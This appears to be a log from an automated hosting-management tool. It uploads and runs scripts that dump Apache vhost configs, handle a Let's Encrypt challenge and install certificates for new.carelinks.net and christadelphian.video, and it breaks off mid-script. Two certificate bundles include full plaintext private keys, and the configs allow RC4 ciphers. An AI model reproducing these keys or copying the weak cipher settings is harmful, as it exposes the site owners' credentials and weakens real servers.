         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-05 06:00:14: 

PUT: /tmp/pkp642403

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_new_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-05 06:00:14: 

chmod 755 /tmp/pkp642403; /tmp/pkp642403; rm /tmp/pkp642403

2026-03-05 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf	1311

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-05 06:00:14: 

PUT: /tmp/pkp394593

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-05 06:00:14: 

chmod 755 /tmp/pkp394593; /tmp/pkp394593; rm /tmp/pkp394593

2026-03-05 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt	5348
da:46:95:8d:39:e8:83:09:53:b8:d2:cb:a9:cb:41:07

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBUeM8bLPV3zXHjxy2KFpGlOIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzA1MDUwMTQwWhcNMjYwNjAzMDUwMTM5WjAcMRowGAYDVQQD
ExFuZXcuY2FyZWxpbmtzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALxeZcXRndUzZ5SadeRWh3Dr/EKGMIEs4R/n8LWKG8cXzr3fuD5XrPb8az+M
dfHStZtszhivi/+4sjHUj3ICm8Oqqkj+43re+WTzMyW1VuCH3oBYzYy+/0utQxy6
OYGDYvL1QwDrvjludykTq+zUkGZCLMhRNgv32D5pyzz1XXcn6GQ1Ush6ej4rAY0i
v6ov/by1g/cQ+edNMXkRnYG2waQNrju/WB8ipbff6ykh6TI1nUCBts+UyJJk28OY
2De5N0XFWsIJmxzC1zUXshwti2WjWmODF5yLwUXLqeU6pfVTkqlqwldavd5+dQAb
lbqyS8WWen/EScKkR0204YmrqxUCAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT2
Cqd0xtpP6l0IaHgrylfRNbO2RDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW5ldy5jYXJlbGlua3MubmV0MBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvOS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAfgClyXiSXVdGF4KH
DdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZy8lQ8VAAgAAAUANEJbowQDAEcwRQIh
ALqU9TSQh8oevlFnZdFLbbMR6+CEVELyNu4l+CjbqGUuAiADxUXqgMoZKolZTyPJ
XKos2eRkpTNrWCh0f4/msEPwtgB1AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+
1QPJfc3wAAABnLyVFjsAAAQDAEYwRAIgEkFiNd4SrvjQK1fX7Fuylxm8Eb459CXV
+biHKBd/qMECIE7lBqp0ve1ndIkEME+SWfriEzWpaAWHU6nsBDQNZNLVMA0GCSqG
SIb3DQEBCwUAA4IBAQB4oZ4CDC/0VjRsT3x2k+5X3ULf0IxWxS517Uc8MTRfxTe6
GrJfkyF2XSR7kpXbuqdmkI6tQRKCzy4Pqjfd/ux8Qfq01Dwx4nZIoLvLJvmMrA+2
fjZv8fwbK1w7I9lA9ZKi+qKo6neh2XhlSOhNjAnjnWTGDbPs8pKjeoIEfxFL4aHT
ZLLQntlGJgB8ilrO7lTMKBRcAxrp3c6cuORCwKBwtxAOaHoRMor18iPxKQi8ngps
vNWoiLGZ4prfQcj8kw35IP88n6kvbnddkPT5ufJj1HsqowaYdLdfJ77imwE+v7yL
rOzICGlLWMXW2qFvJUn8lWOBWqnK3DmkIKD2yoWb
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8XmXF0Z3VM2eU
mnXkVodw6/xChjCBLOEf5/C1ihvHF86937g+V6z2/Gs/jHXx0rWbbM4Yr4v/uLIx
1I9yApvDqqpI/uN63vlk8zMltVbgh96AWM2Mvv9LrUMcujmBg2Ly9UMA6745bncp
E6vs1JBmQizIUTYL99g+acs89V13J+hkNVLIeno+KwGNIr+qL/28tYP3EPnnTTF5
EZ2BtsGkDa47v1gfIqW33+spIekyNZ1AgbbPlMiSZNvDmNg3uTdFxVrCCZscwtc1
F7IcLYtlo1pjgxeci8FFy6nlOqX1U5KpasJXWr3efnUAG5W6skvFlnp/xEnCpEdN
tOGJq6sVAgMBAAECggEAHwOSfB8xfmsymwancctGt4fohnIeRavEUS2DYKXMQbEg
yqWtac5OXcgHnHSdmA2E9dcp7mnmLK9rNMXLlw4+OS69+hDFbB3kMAPUIFmauT3a
8NouKwXoy2ahOHdM2o8YWT+aeD9YQuUg3MmECBVOGm1mKYEoMJDuW1sDKcE4Uf1z
qIG0a4pqBK8fScqHDXxLewfsjMxNGqhOIQ5Uzpn0naTYfqXiBfYCiSUfZZI5Hk7f
cKyDw92FkneEDXlmnBGAngdeO4Uu6/8kSqsLcKApVbMC0WZgEIGYzHvsxSD0B4wg
P7tL9hprDOdjPaMGa5Bd2w9ExLrnLYa8IonSjTtS7QKBgQD2RW9F9DiMXrkAKMaY
G6DLNIKX0xJa1RfIi4DO1wajEtNI17yeGGSYKhWGvT4ChWTQuOn9dGo9dAWy8u1m
MuWlcF3ClrU3D85cOz/48P62T2nM+VZD5dhwE6tqjJurNfQLhf75ox9DlRNL8u8h
rhJBI3VDs192ZiwupSsrSPKVPwKBgQDDz2OoGFofjvWHfMkEIp5TqP41KCBUNECK
vEEaR5w/ojA7B6oK8KNLlT+SnP56+Zb4r0MICu/84UclN5HgNca33CihUFzBVzhw
BQBQakLddQV+2owyuhnlha8Qx9+yhl3I9Giy+nL7hE0pI0t35wrBF3pui0znuQvA
p/Qn2r2GqwKBgEY6fMXlJC8bYARknGWKE2t/WPJ01ZojhHnDFoNlnFXqq2ftZbNr
31vpPGRFGSbc5WgEI24MwbMun+VtEzf+sbBg/8va8Gh4UG/K0a5rAyf4M4KpY+lO
5U7ovQxQdp/3bdXPa2vDEcpS+8K/z2O6YShENU+OGl4IOvc+ULYyQkM/AoGAH5V1
IqkC6HI7wmXrWqJm3WG110cop8xh2L7y1VVVq6Hym6Lp16fm/wsM3Q47sgROSMCk
VEjHWwfPXP5wpjSmYAO//f0jaQAzl0YHPfFV5bi5cTO5R3ljMfV1PoSu3XH08LQT
q0LghxdZBtitlKKMxoaN9gS8G+hqL+InbMJIrc8CgYEAhlY0n6mbC/puV/KEajh9
8brVAXfViW8QOdUdvTiQKzzl9LJC3esWYx9AmVqvqDSA4zmhenFANsgMIYhghhUy
b7CexKVgeiT6bJo95EHxfwe7FooWMHXc8JJihHAFEeor2p0bleNnar4OMXuMkt4Y
2redtWJIZMhz/pxQOTZfVIM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-06 06:00:02: Establishing a connection
2026-03-06 06:00:03: Establishing a connection
2026-03-06 06:00:03: 

PUT: /tmp/pkp334633

#!/bin/bash
if [ -d "/var/www/christadelphian_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-06 06:00:04: 

chmod 755 /tmp/pkp334633; /tmp/pkp334633; rm /tmp/pkp334633

2026-03-06 06:00:04: 


1


2026-03-06 06:00:05: Establishing a connection
2026-03-06 06:00:05: 

PUT: /tmp/pkp751720

#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
cat > uaKuvC0gllsDSJkm-fzBMeJctDu-_jn4P-MoVCAIp2A <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
uaKuvC0gllsDSJkm-fzBMeJctDu-_jn4P-MoVCAIp2A.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 uaKuvC0gllsDSJkm-fzBMeJctDu-_jn4P-MoVCAIp2A


2026-03-06 06:00:05: 

chmod 755 /tmp/pkp751720; /tmp/pkp751720; rm /tmp/pkp751720

2026-03-06 06:00:05: 




2026-03-06 06:00:11: Establishing a connection
2026-03-06 06:00:11: 

PUT: /tmp/pkp201560

#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
rm uaKuvC0gllsDSJkm-fzBMeJctDu-_jn4P-MoVCAIp2A


2026-03-06 06:00:11: 

chmod 755 /tmp/pkp201560; /tmp/pkp201560; rm /tmp/pkp201560

2026-03-06 06:00:11: 




2026-03-06 06:00:11: Establishing a connection
2026-03-06 06:00:11: 

PUT: /tmp/pkp616824

#!/bin/bash
temp_file=$(mktemp)
TARGET=ef56788a9be5d522516b6c274e285339.crt

cat > $temp_file <<'endmsg'
cf:6f:6c:ed:99:d0:67:f0:75:82:69:e3:02:32:0d:8e

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBl6ahTu+zuXBExq49ip0ihvaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzA2MDUwMTQwWhcNMjYwNjA0MDUwMTM5WjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDpzY77YJAQldRcEmIjU67p9/AGm0XR419055Bg859bxCKZQWNZIqD1
VdMQmjcQsllQPjisoGu4W7vt9anc8HPC+GJmOYKKqGd6uF3o7qRgmZPvkIH2+fgP
JfhclwFlYZhVbsv0mvgwYS4x3iUGmRWx7gyzwC1C607C0Tnxm8m31xrKbWaFa+6w
LB4pKiJ/fLt8uj7bxtbfzt5CdWWrX85HTXXA17Ijly7QtRJFQFUaSA9cIW1e5Qcm
i3uNH4I81wvZSM7KiJT38kYnxfwUbwTx8hlW3lvoEBJPWMWD3fKkjB1XQh3sBQSU
TIAY5/bu1lZn/ML84Mjkt4dZCq2r479tAgMBAAGjggIiMIICHjAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUO9MqEFi/uAB1/XX6QcXT40ND9tcwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVjaHJpc3RhZGVscGhpYW4udmlkZW8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy85MS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQBk
EcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZzBu2lCAAAEAwBGMEQC
IBNGSmZDcpGZeF13w2KN2rFVolL4ObwOlhpHxGthq1WJAiBG0RFaMxzIqK02EtKv
FmSr51riUBPWOYASsLZ91z4SpAB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM
0Ge1pmHiAAABnMG7agAACAAABQALAU6RBAMARzBFAiEAnmEmA/svbztkVyxSaoq/
HJW+t2pQrpbwdW9iOpLNwXgCIEyUs6Qaggm0lSA8npBmvHbDIjUru2qKog8kOU++
YkstMA0GCSqGSIb3DQEBCwUAA4IBAQBF4BKr+Fz9KCxRTO8PoVhtIBWvGnnKNyvR
zgqrS3NCQqwIvdTl7WVoVpiyWJf6rbodUJe3bVNgLHz9mIqJXM+j2RFfuXUBddCY
WSrxCHALeYOTmwNYftT5ZLPOiWNICVWj8fu6v0eJtV+YRpf6344Ak7Ctc/bA+LCA
mvzxUOgEkkDw7sU1C8WcZhvapGkCh5xQNHGuxit0W5E6MpxCT+LskKA/6D1He4GO
ZY5XHeeQxJxY9dPfhEcnTORFsCSLo9p7gzPOHzdoblDat0xgMA1yhBsBDUEjWUd8
10Od7DI/r3hVPa9dLs7UwUiXCaOyc4M6Y5jVUDt5cP+RvIxsLqW1
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDpzY77YJAQldRc
EmIjU67p9/AGm0XR419055Bg859bxCKZQWNZIqD1VdMQmjcQsllQPjisoGu4W7vt
9anc8HPC+GJmOYKKqGd6uF3o7qRgmZPvkIH2+fgPJfhclwFlYZhVbsv0mvgwYS4x
3iUGmRWx7gyzwC1C607C0Tnxm8m31xrKbWaFa+6wLB4pKiJ/fLt8uj7bxtbfzt5C
dWWrX85HTXXA17Ijly7QtRJFQFUaSA9cIW1e5Qcmi3uNH4I81wvZSM7KiJT38kYn
xfwUbwTx8hlW3lvoEBJPWMWD3fKkjB1XQh3sBQSUTIAY5/bu1lZn/ML84Mjkt4dZ
Cq2r479tAgMBAAECggEAAYOe38M6UpZ2+pYWkbrKSu/ZpdwDz+0kLT021i2ksio+
SyaU+adP3Oo87nkJlyz0QSLzkeWp14IwQbK0cGgHoZIvuvOjFrOmUkxCevvW7Hmm
iBtpwd1MazrTKk0+mf9TwDzsCvIQ2jOuAyQyW7BlMZ0ZGAJvPcQ6wgTtVDYuoPOs
6qFfDOvYYYg+FseZ9bvwvabrLWze2NsKLkI39bb3s1sqzVID0Iq7PdoPX1J8GO72
vmy2s8S4vUr2ImwgCe0hIi5I+OP1dnc7jP6t/VF0YTL41tQ8MSNM8Fj/4WfMvOAl
DTsTu9FlW6d6grgSZmNdyjeKsCIipMoKyCkxahyMOQKBgQD4CtEyb03vCKA9fSrS
Hmw57nHmZH1HZWTzb5azj7VmOc3gXH++SjmoH2vMYLOtuj/7m2xuuDh+lBNTl8Z4
880nDoNyIr4Di6P9YhhbFVt0tBHm2u9QCvyk35tls2blAR9oZHwXanbbSw9Nyasd
KqJIjTkjJIUns/WMu+81Urs86QKBgQDxTcsaNlAwvY92YnOyeSnnG+9nV69F1VsN
+QDHbKo6mcF3eYQhfXE/9wcXWE1mK7L98g5WZesi59yLWLLtMAhEXMMFuREddhns
5TwRbgFJMIGAXmHq0c9a1XQ+cJCccuWaS2A0TY5nxWKrIUFDgof4uQF3noqHZuk9
Nsiiol5L5QKBgHWqI/0J4e1/qQwiQVr1xZ9hprSFfQyOY+o7SEEb7hB1YV2KY6rw
aROA/FEymmnSTaHc4/5N87bQJa7k8+jStsJNVzugkYT7DCsaCrXCluTwuwFJYHcX
DyxjSsNe7HO8KZsK9/bfsUxr+fGLtlmarOs/2xf5rhTcgKJnUJ16BoppAoGAGSXQ
WuT6Kno271GHWTxDX7CLnKuIurBnkuc2a5Ipk33eqcLiQFNAcDggZxBu0I0RVGHb
mKl6feLIG0WdMBbnZah9MqV84SMjxIqHXhGm1KfXdzde4QgIoiDIwpEcoRFgWFou
poTGqI3roIYQtSZvYT52pq7BJSdWe2iwNDLTvPkCgYEAlLm3AbGUrYjb4j8lNNPP
kkfDxoS8FT+25dfe1ly4UeKZ+OnMLK6ydTp+mHlBzIiXhyqofN+ssl7oZCS8GILh
4ib0dOcItcuFqTEKMWr1JGwWOR5HfYtIV4bZCUJ5zLTpdyPvj1Sx4/RPos9dp9u0
hcFKIcb18U1cD31xAEor+3I=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-06 06:00:11: 

chmod 755 /tmp/pkp616824; /tmp/pkp616824; rm /tmp/pkp616824

2026-03-06 06:00:11: 


dir=/etc/ssl/certs


2026-03-06 06:00:11: 

PUT: /tmp/pkp294323

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphian_www_video.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-06 06:00:11: 

chmod 755 /tmp/pkp294323; /tmp/pkp294323; rm /tmp/pkp294323

2026-03-06 06:00:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf 49

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine       On
    RewriteCond %{REQUEST_METHOD} !POST
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]

</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-06 06:00:11: 

PUT: /tmp/pkp121004

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphian_www_video.conf
TARGET=/etc/apache2/sites-enabled/christadelphian_www_video.conf
